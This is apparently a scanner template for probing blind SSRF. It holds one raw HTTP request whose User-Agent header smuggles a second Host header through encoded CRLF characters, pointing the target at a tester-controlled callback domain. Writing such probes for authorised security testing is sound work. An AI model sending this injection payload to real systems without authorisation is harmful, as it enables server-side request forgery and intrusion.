BlindSSRF-122.yaml

id: 0x122

info:
  name: Blind SSRF
  author: 0xAwali
  severity: info

requests:
  - raw:
    - |+
      GET / HTTP/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\u560d\u560aHost: {{Host}}.{{Port}}.BSSRF-122.{{MY-DOMAIN}}
      Cache-Control: no-transform
      Accept-Encoding: gzip, deflate
      Accept: */*
      Host: {{Hostname}}

    unsafe: true
    matchers:
      - type: word
        part: body
        words:
          - "Your Match"